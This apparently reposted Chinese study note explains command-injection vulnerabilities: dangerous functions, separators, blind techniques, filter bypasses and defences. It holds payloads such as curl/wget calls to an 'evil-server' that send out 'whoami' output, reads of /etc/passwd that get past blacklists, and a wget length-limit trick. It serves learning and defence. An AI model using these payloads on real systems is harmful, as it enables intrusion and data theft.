微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

Web安全学习笔记 命令注入漏洞浅析

Web安全学习笔记 命令注入漏洞浅析

学习目录


  • 1.简介
  • 2.常见危险函数
    • PHP
    • JAVA
    • PYTHON
  • 3.常见注入方式
  • 4.无回显技巧
  • 5.常见绕过方式
    • 空格绕过
    • 黑名单绕过
    • 长度限制绕过
  • 6.常用符号
  • 7.防御

1. 简介

命令注入通常是值因为Web应用程序在服务器上拼接系统命令而造成的漏洞

该类漏洞通常出现在调用外部程序完成一些功能的情景下出现。

比如一些Web管理界面的配置(主机名/IP/掩码/网关查看系统信息以及关闭重启等)功能,或者一些站点提供如pingnslookup提供发送邮件转换图片功能都可能出现该类漏洞。

2. 常见危险函数

2.1. PHP

  • system
  • exec
  • passthru
  • shell_exec
  • popen
  • proc_open

2.2. Python

  • system
  • popen
  • subprocess.call
  • spawn

2.3. Java

  • java.lang.Runtime.getRuntime().exec(command)

3. 常见注入方式

  • 分号分割
  • || && & 分割
  • | 管道符
  • \r\n %d0%a0 换行
  • 反引号解析
  • $() 替换

4. 无回显技巧

  • bash反弹shell
  • DNS带外数据
  • http带外
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
  • 无带外时利用 sleep 或其他逻辑构造布尔条件

5. 常见绕过方式

5.1. 空格绕过

  • < 符号 cat<123
  • \t / %09
  • ${IFS} 其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串

5.2. 黑名单绕过

  • a=l;b=s;$a$b
  • base64 echo "bHM=" | base64 -d
  • /?in/?s => /bin/ls
  • 连接符 cat /etc/pass'w'd
  • 未定义的初始化变量 cat$x /etc/passwd

5.3. 长度限制绕过

>wget\
>foo.\
>com
ls -t>a
sh a

上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行 直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在PHP中 , 使用 shell_exec 等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件

6. 常用符号

6.1. 命令分隔符

  • %0a / %0d / \n / \r
  • ;
  • & / &&

6.2. 通配

  • * 0到无穷个任意字符
  • ?一个任意字符
  • [ ] 一个在括号内的字符e.g. [abcd]
  • [ - ] 在编码顺序内的所有字符
  • [^ ]一个不在括号内的字符

7. 防御

  • 不使用时禁用相应函数
  • 尽量不要执行外部的应用程序或命令
  • 做输入的格式检查
  • 转义命令中的所有shell元字符
    • shell元字符包括 #&;,|*?~<>^()[]{}$`

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。